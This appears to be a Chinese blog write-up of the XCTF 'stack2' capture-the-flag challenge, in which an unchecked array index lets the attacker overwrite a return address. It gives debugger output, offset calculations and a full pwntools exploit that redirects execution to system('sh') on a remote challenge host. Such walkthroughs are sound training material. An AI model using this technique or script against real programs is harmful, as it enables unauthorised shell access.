攻防世界-stack2-Writeup

stack2

题目来源: XCTF 4th-QCTF-2018

[collapse title=“展开查看详情” status=“false”]

考点:数字下标溢出

保护情况:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

漏洞函数:

puts("which number to change:");          // change
__isoc99_scanf("%d", &index);	//没有检查下标
puts("new number:");
__isoc99_scanf("%d", &num);
num_list[index] = num;

程序中找到有预留的后门函数,所以通过数组越界修改返回地址到后门。所以需要寻找 num_list 与 eip 的偏移。

寻找 eip 在栈上地址比较容易,将断点打在 main 退出前(0x080488EF),查看寄存器值:

────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────
 EAX  0x0
 EBX  0x0
 ECX  0xffffcfa0 ◂— 0x1
 EDX  0xf7fb887c (_IO_stdfile_0_lock) ◂— 0x0
 EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
 ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
 EBP  0x0
 # 返回地址在栈上位置
 ESP  0xffffcf9c —▸ 0xf7e1d637 (__libc_start_main+247) ◂— add    esp, 0x10
 EIP  0x80488f2 (main+802) ◂— 0x669066c3
────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
 ► f 0  80488f2 main+802
   f 1 f7e1d637 __libc_start_main+247
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

写入地址在写入或者 show 操作汇编打断点,下面在录入时打断点找:

080486BD                 call    ___isoc99_scanf
080486C2                 add     esp, 10h
080486C5                 mov     eax, [ebp+num]
080486CB                 mov     ecx, eax
080486CD                 lea     edx, [ebp+num_list]//写入栈上
080486D0                 mov     eax, [ebp+var_7C]
080486D3                 add     eax, edx
080486D5                 mov     [eax], cl
080486D7                 add     [ebp+var_7C], 1

调试查看寄存器找到地址:

────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────
 EAX  0x56
 EBX  0x0
 ECX  0x56
 #写入地址
 EDX  0xffffcf18 ◂— 0x45 /* 'E' */
 EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
 ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
 EBP  0xffffcf88 ◂— 0x0
 ESP  0xffffcee0 —▸ 0xf7ffda74 —▸ 0xf7fd5470 —▸ 0xf7ffd918 ◂— 0x0
 EIP  0x80486d0 (main+256) ◂— 0x184458b
──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────
   0x80486c2 <main+242>    add    esp, 0x10
   0x80486c5 <main+245>    mov    eax, dword ptr [ebp - 0x88]
   0x80486cb <main+251>    mov    ecx, eax
   0x80486cd <main+253>    lea    edx, [ebp - 0x70]
 ► 0x80486d0 <main+256>    mov    eax, dword ptr [ebp - 0x7c]
   0x80486d3 <main+259>    add    eax, edx
   0x80486d5 <main+261>    mov    byte ptr [eax], cl
   0x80486d7 <main+263>    add    dword ptr [ebp - 0x7c], 1
   0x80486db <main+267>    mov    edx, dword ptr [ebp - 0x7c]
   0x80486de <main+270>    mov    eax, dword ptr [ebp - 0x90]
   0x80486e4 <main+276>    cmp    edx, eax

计算得出偏移:0xffffcf9c-0xffffcf18=0x84

**后门函数只能本地打通,远程服务器没有 bash 指令。**我就 ROP 和泄露 libc 地址了。看了大佬 wp 发现 system(sh)也能 getshell ,所以脚本如下:

完整exp:

from pwn import *

context.log_level = 'debug'
p = process("./stack2")
p = remote("124.126.19.106",42070)

def change(index,context):
	p.sendlineafter("exit",'3')
	p.sendlineafter('change',str(index))
	p.sendlineafter("number",str(context))


p.sendlineafter("have:",'2')
p.sendline(str(0x45))
p.sendline(str(0x56))

#system_plt
change(0x84+0,0x50)
change(0x84+1,0x84)
change(0x84+2,0x04)
change(0x84+3,0x08)
#gdb.attach(p)

#sh
change(0x84+8,0x87)
change(0x84+9,0x89)
change(0x84+10,0x04)
change(0x84+11,0x08)

p.sendlineafter("exit",'5')
p.interactive()

[/collapse]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值